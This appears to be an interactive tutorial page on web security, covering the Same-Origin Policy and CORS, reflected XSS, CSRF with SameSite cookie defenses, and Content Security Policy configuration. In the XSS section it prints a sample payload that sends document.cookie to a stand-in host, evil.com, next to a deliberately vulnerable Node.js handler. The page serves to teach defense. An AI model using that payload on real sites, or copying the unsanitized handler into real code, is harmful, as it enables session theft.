đŸ›Ąī¸

Web Security

CORS, XSS, CSRF, CSP headers, and common vulnerabilities

Web Security Fundamentals

Understanding, preventing, and defending against the most common web attacks

Web security is about protecting users and data from attackers who try to exploit vulnerabilities in web applications. Most attacks fall into a few categories: injecting code (XSS, SQL injection), forging requests (CSRF), bypassing origin restrictions (CORS misconfiguration), and abusing broken access controls (IDOR, open redirect).

Understanding these attacks from the attacker's perspective is the most effective way to build robust defenses. The OWASP Top 10 is the industry-standard reference for the most critical web application security risks.

🌐
CORS
Cross-origin access control
💉
XSS
Script injection attacks
🎭
CSRF
Forged cross-site requests
đŸ›Ąī¸
CSP
Content source policies

CORS — Cross-Origin Resource Sharing

How browsers enforce and relax the Same-Origin Policy

Same-Origin Policy & CORS

Explore how origins are compared, simple requests, and the preflight mechanism

The Same-Origin Policy blocks scripts on one origin from reading resources on another. An origin is defined by three parts: protocol + host + port.

https://example.com:443/page
Origin comparisons vs https://example.com:
✅ https://example.com/page
✅ https://example.com/other
❌ http://example.com/page
❌ https://api.example.com/page
❌ https://other.com/page
❌ https://example.com:8080/page
💡

CORS (Cross-Origin Resource Sharing) is the controlled mechanism to relax the Same-Origin Policy. The server explicitly lists which origins it trusts via Access-Control-Allow-Origin headers.

XSS — Cross-Site Scripting

Injecting malicious scripts into trusted pages

XSS Attack Types & Defenses

Step through Reflected, Stored, and DOM-Based XSS — see the attack and the fix

Reflected XSS

Malicious script injected into the URL and reflected back immediately in the response.

Attacker crafts a URL containing a script payload. When a victim clicks the link, the server reflects the unsanitized input into the HTML response, and the browser executes it.

Attack steps:
1

Attacker crafts a malicious URL with a script in a query parameter

2

Victim clicks the link (e.g., sent via email or social media)

3

Server echoes the parameter value into the HTML without sanitizing

4

Browser receives the page and executes the injected script

5

Script steals cookies or performs actions as the victim

// Attacker crafts URL:
https://bank.com/search?q=<script>
  fetch('https://evil.com/steal?c=' + document.cookie)
</script>

// Vulnerable server code (Node.js):
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
  //                           ^^^ unsanitized user input
});

CSRF — Cross-Site Request Forgery

Tricking browsers into making unwanted authenticated requests

CSRF Attack Flow

Follow the attack from login to forged request, then explore each defense

Attack Flow
Victim Logs In

Victim authenticates to bank.com. The browser stores a session cookie that will be sent automatically with every request to bank.com.

// After successful login:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/

// Cookie is now stored in the browser and will be
// automatically attached to ALL requests to bank.com
CSRF Defenses
Set SameSite=Strict or SameSite=Lax on session cookies. Browser will not send the cookie with cross-site requests.
Set-Cookie: sessionId=abc123;
  SameSite=Strict;  // Never sent cross-site
  // or
  SameSite=Lax;     // Sent only for top-level navigations (GET)
  HttpOnly; Secure

Content Security Policy

Telling the browser which sources to trust

CSP Directives

Click each directive to learn what it controls and how to configure it

Content Security Policy is an HTTP response header that tells the browser which sources are trusted. It's the most powerful defense against XSS — even if an attacker injects a script, CSP prevents it from loading or executing. Click a directive to learn more.

Production-ready CSP example:
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123xyz';
  style-src 'self' https://fonts.googleapis.com;
  img-src 'self' data: https://cdn.example.com;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.gstatic.com;
  frame-src 'none';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /csp-violations
CSP violation report (sent automatically by browser):
// Browser POSTs this when a resource is blocked:
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/steal.js",
    "source-file": "https://example.com/page",
    "line-number": 42
  }
}
Deployment Tips
1ī¸âƒŖ Start with Content-Security-Policy-Report-Only header to test without blocking anything
2ī¸âƒŖ Review violation reports, fix issues, then switch to enforcement mode
âš ī¸ Avoid 'unsafe-inline' for scripts — use nonces or hashes instead
🔑 Use Nonce-based CSP: server generates a random nonce per request, adds it to script tags and the CSP header
🔍 Test with Google CSP Evaluator or securityheaders.com

Other Common Vulnerabilities

SQL injection, clickjacking, IDOR, security headers, and more

Critical
High
Medium

Key Terms to Remember

Master these terms for technical interviews